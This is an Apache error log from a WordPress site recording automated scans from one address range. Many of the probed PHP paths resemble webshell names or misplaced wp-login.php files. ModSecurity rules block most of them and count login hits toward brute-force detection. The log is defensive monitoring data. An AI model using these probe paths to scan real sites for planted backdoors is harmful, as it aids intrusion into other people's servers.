[Fri Feb 27 11:14:57.762443 2026] [proxy_fcgi:error] [pid 62998:tid 63019] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:58.169623 2026] [proxy_fcgi:error] [pid 62998:tid 63025] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:58.875454 2026] [proxy_fcgi:error] [pid 62998:tid 63009] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:59.450449 2026] [proxy_fcgi:error] [pid 62998:tid 63006] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:00.021468 2026] [proxy_fcgi:error] [pid 62998:tid 63009] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:00.567457 2026] [proxy_fcgi:error] [pid 62998:tid 63017] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:01.239460 2026] [proxy_fcgi:error] [pid 62998:tid 63005] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:01.792471 2026] [proxy_fcgi:error] [pid 62998:tid 63022] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:02.385575 2026] [proxy_fcgi:error] [pid 62998:tid 63021] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:02.965794 2026] [proxy_fcgi:error] [pid 62998:tid 63006] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:03.592611 2026] [proxy_fcgi:error] [pid 62998:tid 63021] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:04.070301 2026] [proxy_fcgi:error] [pid 62998:tid 63006] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:04.594530 2026] [proxy_fcgi:error] [pid 62998:tid 63006] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:05.046496 2026] [proxy_fcgi:error] [pid 62998:tid 63006] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:05.640915 2026] [:error] [pid 62998:tid 63009] [client 64.64.108.55:36549] [client 64.64.108.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aaEMOVQeueXZDUmoLolo7gAAAQc"]
[Fri Feb 27 11:15:07.603462 2026] [proxy_fcgi:error] [pid 52073:tid 52098] [client 64.64.108.40:61297] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:08.157510 2026] [proxy_fcgi:error] [pid 52073:tid 52081] [client 64.64.108.40:61297] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:08.649473 2026] [proxy_fcgi:error] [pid 52073:tid 52093] [client 64.64.108.40:61297] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:09.151467 2026] [proxy_fcgi:error] [pid 52073:tid 52080] [client 64.64.108.40:61297] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:09.671468 2026] [proxy_fcgi:error] [pid 52073:tid 52098] [client 64.64.108.40:61297] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:10.164774 2026] [proxy_fcgi:error] [pid 52073:tid 52079] [client 64.64.108.40:61297] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:10.692465 2026] [proxy_fcgi:error] [pid 52073:tid 52083] [client 64.64.108.40:61297] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:11.275484 2026] [proxy_fcgi:error] [pid 52073:tid 52092] [client 64.64.108.40:61297] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:11.852454 2026] [proxy_fcgi:error] [pid 52073:tid 52097] [client 64.64.108.40:61297] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:12.385477 2026] [proxy_fcgi:error] [pid 52073:tid 52077] [client 64.64.108.40:61297] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:12.875702 2026] [:error] [pid 52073:tid 52085] [client 64.64.108.40:61297] [client 64.64.108.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/css.php"] [unique_id "aaEMQIa650YPyxXVeRZrAQAAAYk"]
[Fri Feb 27 11:15:15.486057 2026] [proxy_fcgi:error] [pid 62998:tid 63016] [client 64.64.108.43:39969] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:16.581457 2026] [proxy_fcgi:error] [pid 62998:tid 63025] [client 64.64.108.43:39969] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:21.406819 2026] [:error] [pid 62998:tid 63016] [client 64.64.108.43:39969] [client 64.64.108.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wso112233.php"] [unique_id "aaEMSVQeueXZDUmoLolqTwAAAQ4"]
[Fri Feb 27 11:15:22.776278 2026] [:error] [pid 62998:tid 63014] [client 64.64.108.16:34237] [client 64.64.108.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/shell20211028.php"] [unique_id "aaEMSlQeueXZDUmoLolqZwAAAQw"]
[Fri Feb 27 11:15:24.093850 2026] [proxy_fcgi:error] [pid 62998:tid 63014] [client 64.64.108.44:47989] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:25.133401 2026] [:error] [pid 62998:tid 63005] [client 64.64.108.44:47989] [client 64.64.108.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/dropdown.php"] [unique_id "aaEMTVQeueXZDUmoLolqmwAAAQM"]
[Fri Feb 27 11:15:26.629588 2026] [:error] [pid 52073:tid 52085] [client 64.64.108.65:33153] [client 64.64.108.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/repeater.php"] [unique_id "aaEMToa650YPyxXVeRZrowAAAYk"]
[Fri Feb 27 11:15:30.489481 2026] [proxy_fcgi:error] [pid 54102:tid 54154] [client 64.64.108.15:62643] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:30.948906 2026] [proxy_fcgi:error] [pid 54102:tid 54164] [client 64.64.108.15:62643] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:32.147795 2026] [proxy_fcgi:error] [pid 54102:tid 54144] [client 64.64.108.15:62643] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:36.237057 2026] [:error] [pid 54102:tid 54155] [client 64.64.108.15:62643] [client 64.64.108.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/test.php"] [unique_id "aaEMWHi74D4fiYUm_GcQ-gAAAIs"]
[Fri Feb 27 11:15:37.499157 2026] [:error] [pid 54101:tid 54127] [client 64.64.108.60:38643] [client 64.64.108.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aaEMWVY5qgRktcYTGFvvbwAAAdM"]
[Fri Feb 27 11:15:38.398464 2026] [proxy_fcgi:error] [pid 54103:tid 54175] [client 64.64.108.54:63237] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:38.942198 2026] [:error] [pid 54103:tid 54182] [client 64.64.108.54:63237] [client 64.64.108.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/options.php"] [unique_id "aaEMWuvG4MPCmE0B2sA0RAAAAMs"]
[Fri Feb 27 11:15:40.194766 2026] [proxy_fcgi:error] [pid 62998:tid 63021] [client 64.64.108.34:35033] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:41.147535 2026] [:error] [pid 62998:tid 63002] [client 64.64.108.34:35033] [client 64.64.108.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/gzdecode.php"] [unique_id "aaEMXVQeueXZDUmoLolr1AAAAQE"]
[Fri Feb 27 11:15:42.390909 2026] [:error] [pid 52073:tid 52080] [client 64.64.108.34:21027] [client 64.64.108.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-includes/atomlib.php"] [unique_id "aaEMXoa650YPyxXVeRZsWQAAAYQ"]
[Fri Feb 27 11:15:44.247960 2026] [proxy_fcgi:error] [pid 56075:tid 56100] [client 64.64.108.37:38323] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:44.753307 2026] [:error] [pid 56075:tid 56083] [client 64.64.108.37:38323] [client 64.64.108.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.37, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/images/wp-login.php"] [unique_id "aaEMYMKBhrfI6KNv9RiMtgAAAAY"]
[Fri Feb 27 11:15:45.364160 2026] [proxy_fcgi:error] [pid 56075:tid 56097] [client 64.64.108.37:38323] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:50.574144 2026] [:error] [pid 56075:tid 56097] [client 64.64.108.37:38323] [client 64.64.108.37] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "104.196.33.81_18f04c0ed7c458e383c07bef971baebdc65c1a7c"): Internal error (specific information not available) [hostname "agraphics.com.au"] [uri "/web.php"] [unique_id "aaEMYcKBhrfI6KNv9RiMugAAABM"]
[Fri Feb 27 11:15:51.654217 2026] [:error] [pid 56075:tid 56083] [client 64.64.108.37:38323] [client 64.64.108.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/plupload/wp-login.php"] [unique_id "aaEMZ8KBhrfI6KNv9RiM_QAAAAY"]
[Fri Feb 27 11:15:52.879317 2026] [proxy_fcgi:error] [pid 49306:tid 49313] [client 64.64.108.61:31577] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:15:54.852474 2026] [:error] [pid 49306:tid 49320] [client 64.64.108.61:31577] [client 64.64.108.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/themes.php"] [unique_id "aaEMavnSUDZue59Px9t1RgAAAUw"]
[Fri Feb 27 11:15:56.079060 2026] [:error] [pid 54103:tid 54190] [client 64.64.108.26:29833] [client 64.64.108.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/site-title/index.php"] [unique_id "aaEMbOvG4MPCmE0B2sA07wAAANM"]
[Fri Feb 27 11:15:56.982204 2026] [:error] [pid 62998:tid 63018] [client 64.64.108.56:56341] [client 64.64.108.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.56, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/wp-login.php"] [unique_id "aaEMbFQeueXZDUmoLoltFAAAARA"]
[Fri Feb 27 11:15:57.456884 2026] [:error] [pid 62998:tid 63008] [client 64.64.108.56:56341] [client 64.64.108.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-includes/admin-bar.php"] [unique_id "aaEMbVQeueXZDUmoLoltHAAAAQY"]
[Fri Feb 27 11:15:58.619771 2026] [proxy_fcgi:error] [pid 62998:tid 63025] [client 64.64.108.19:23863] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:00.078281 2026] [proxy_fcgi:error] [pid 54102:tid 54165] [client 64.64.108.26:51153] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:01.743551 2026] [:error] [pid 54102:tid 54150] [client 64.64.108.26:51153] [client 64.64.108.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/plugins.php"] [unique_id "aaEMcXi74D4fiYUm_GcRpQAAAIY"]
[Fri Feb 27 11:16:02.911479 2026] [proxy_fcgi:error] [pid 49306:tid 49332] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:04.057529 2026] [proxy_fcgi:error] [pid 49306:tid 49322] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:04.559543 2026] [proxy_fcgi:error] [pid 49306:tid 49329] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:05.254458 2026] [proxy_fcgi:error] [pid 49306:tid 49327] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:05.979477 2026] [proxy_fcgi:error] [pid 49306:tid 49331] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:06.575491 2026] [proxy_fcgi:error] [pid 49306:tid 49329] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:07.093456 2026] [proxy_fcgi:error] [pid 49306:tid 49310] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:07.579462 2026] [proxy_fcgi:error] [pid 49306:tid 49323] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:08.056517 2026] [proxy_fcgi:error] [pid 49306:tid 49309] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:08.567453 2026] [proxy_fcgi:error] [pid 49306:tid 49331] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:09.061467 2026] [proxy_fcgi:error] [pid 49306:tid 49325] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:09.547461 2026] [proxy_fcgi:error] [pid 49306:tid 49328] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:10.041479 2026] [proxy_fcgi:error] [pid 49306:tid 49323] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:10.573515 2026] [proxy_fcgi:error] [pid 49306:tid 49317] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:11.140751 2026] [proxy_fcgi:error] [pid 49306:tid 49322] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:11.745351 2026] [proxy_fcgi:error] [pid 49306:tid 49329] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:12.244203 2026] [proxy_fcgi:error] [pid 49306:tid 49318] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:12.946002 2026] [proxy_fcgi:error] [pid 49306:tid 49309] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:13.479456 2026] [proxy_fcgi:error] [pid 49306:tid 49327] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:14.033730 2026] [proxy_fcgi:error] [pid 49306:tid 49316] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:14.498371 2026] [proxy_fcgi:error] [pid 49306:tid 49318] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:14.971455 2026] [proxy_fcgi:error] [pid 49306:tid 49327] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:15.544793 2026] [proxy_fcgi:error] [pid 49306:tid 49316] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:16.164553 2026] [proxy_fcgi:error] [pid 49306:tid 49311] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:16.592485 2026] [proxy_fcgi:error] [pid 49306:tid 49332] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:17.161463 2026] [proxy_fcgi:error] [pid 49306:tid 49308] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:17.750458 2026] [proxy_fcgi:error] [pid 49306:tid 49325] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:18.967444 2026] [proxy_fcgi:error] [pid 49306:tid 49328] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:19.583465 2026] [proxy_fcgi:error] [pid 49306:tid 49312] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:20.073983 2026] [proxy_fcgi:error] [pid 49306:tid 49317] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:20.560461 2026] [proxy_fcgi:error] [pid 49306:tid 49331] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:21.035451 2026] [proxy_fcgi:error] [pid 49306:tid 49309] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:21.560479 2026] [proxy_fcgi:error] [pid 49306:tid 49317] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:23.154485 2026] [proxy_fcgi:error] [pid 49306:tid 49315] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:24.769455 2026] [proxy_fcgi:error] [pid 49306:tid 49331] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:26.354792 2026] [proxy_fcgi:error] [pid 49306:tid 49322] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:26.854567 2026] [:error] [pid 49306:tid 49309] [client 64.64.108.41:60983] [client 64.64.108.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.41, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aaEMivnSUDZue59Px9t2zQAAAUE"]
[Fri Feb 27 11:16:27.361470 2026] [proxy_fcgi:error] [pid 49306:tid 49326] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:28.842938 2026] [:error] [pid 49306:tid 49329] [client 64.64.108.41:60983] [client 64.64.108.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.41, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/.tmb/wp-login.php"] [unique_id "aaEMjPnSUDZue59Px9t25wAAAVU"]
[Fri Feb 27 11:16:30.352470 2026] [proxy_fcgi:error] [pid 49306:tid 49310] [client 64.64.108.41:60983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:30.954077 2026] [:error] [pid 49306:tid 49325] [client 64.64.108.41:60983] [client 64.64.108.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aaEMjvnSUDZue59Px9t29wAAAVE"]
[Fri Feb 27 11:16:31.876568 2026] [:error] [pid 49306:tid 49309] [client 64.64.108.50:59365] [client 64.64.108.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aaEMj_nSUDZue59Px9t3BAAAAUE"]
[Fri Feb 27 11:16:32.994697 2026] [:error] [pid 56075:tid 56081] [client 64.64.108.63:59123] [client 64.64.108.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/install.php"] [unique_id "aaEMkMKBhrfI6KNv9RiOqAAAAAQ"]
[Fri Feb 27 11:16:33.916753 2026] [proxy_fcgi:error] [pid 54102:tid 54169] [client 64.64.108.18:33251] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:41.342467 2026] [proxy_fcgi:error] [pid 54102:tid 54153] [client 64.64.108.18:33251] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:41.770441 2026] [proxy_fcgi:error] [pid 54102:tid 54145] [client 64.64.108.18:33251] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:43.949611 2026] [:error] [pid 54102:tid 54154] [client 64.64.108.18:33251] [client 64.64.108.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.18, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/modules/karakaroa/wp-login.php"] [unique_id "aaEMm3i74D4fiYUm_GcTgQAAAIo"]
[Fri Feb 27 11:16:44.453223 2026] [:error] [pid 54102:tid 54145] [client 64.64.108.18:33251] [client 64.64.108.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaEMnHi74D4fiYUm_GcThwAAAIE"]
[Fri Feb 27 11:16:45.979478 2026] [proxy_fcgi:error] [pid 56075:tid 56102] [client 64.64.108.37:21057] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:50.797409 2026] [:error] [pid 56075:tid 56078] [client 64.64.108.37:21057] [client 64.64.108.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.37, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaEMosKBhrfI6KNv9RiPIQAAAAE"]
[Fri Feb 27 11:16:51.759529 2026] [proxy_fcgi:error] [pid 56075:tid 56090] [client 64.64.108.37:21057] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:53.159441 2026] [proxy_fcgi:error] [pid 56075:tid 56102] [client 64.64.108.37:21057] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:58.374453 2026] [proxy_fcgi:error] [pid 56075:tid 56098] [client 64.64.108.37:21057] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:58.946485 2026] [proxy_fcgi:error] [pid 56075:tid 56102] [client 64.64.108.37:21057] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:59.444483 2026] [proxy_fcgi:error] [pid 56075:tid 56091] [client 64.64.108.37:21057] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:16:59.868469 2026] [proxy_fcgi:error] [pid 56075:tid 56096] [client 64.64.108.37:21057] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:00.451472 2026] [proxy_fcgi:error] [pid 56075:tid 56098] [client 64.64.108.37:21057] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:00.947463 2026] [proxy_fcgi:error] [pid 56075:tid 56095] [client 64.64.108.37:21057] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:04.264449 2026] [proxy_fcgi:error] [pid 56075:tid 56077] [client 64.64.108.37:21057] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:06.437140 2026] [:error] [pid 56075:tid 56101] [client 64.64.108.37:21057] [client 64.64.108.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/editor/fxp.php"] [unique_id "aaEMssKBhrfI6KNv9RiPoQAAABc"]
[Fri Feb 27 11:17:07.495440 2026] [proxy_fcgi:error] [pid 52073:tid 52096] [client 64.64.108.46:43575] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:17:07.954677 2026] [proxy_fcgi:error] [pid 52073:tid 52096] [client 64.64.108.46:43575] AH01071: Got error 'Primary script unknown'
